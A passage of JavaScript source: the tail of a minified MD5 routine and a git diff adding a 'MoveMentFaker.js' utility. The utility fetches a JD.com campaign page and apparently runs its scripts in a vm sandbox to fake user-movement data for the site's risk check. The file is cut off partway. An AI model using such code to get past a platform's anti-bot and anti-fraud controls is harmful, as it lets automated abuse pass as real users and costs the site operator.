i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}md5=A}(this); diff --git a/utils/MoveMentFaker.js b/utils/MoveMentFaker.js new file mode 100644 index 0000000..de7eb4c --- /dev/null +++ b/utils/MoveMentFaker.js @@ -0,0 +1,139 @@ +const https = require('https'); +const fs = require('fs/promises'); +const { R_OK } = require('fs').constants; +const vm = require('vm'); +const UA = require('../USER_AGENTS.js').USER_AGENT; + +const URL = 'https://wbbny.m.jd.com/babelDiy/Zeus/2rtpffK8wqNyPBH6wyUDuBKoAbCt/index.html'; +// const REG_MODULE = /(\d+)\:function\(.*(?=smashUtils\.get_risk_result)/gm; +const SYNTAX_MODULE = '!function(n){var r={};function o(e){if(r[e])'; +const REG_SCRIPT = /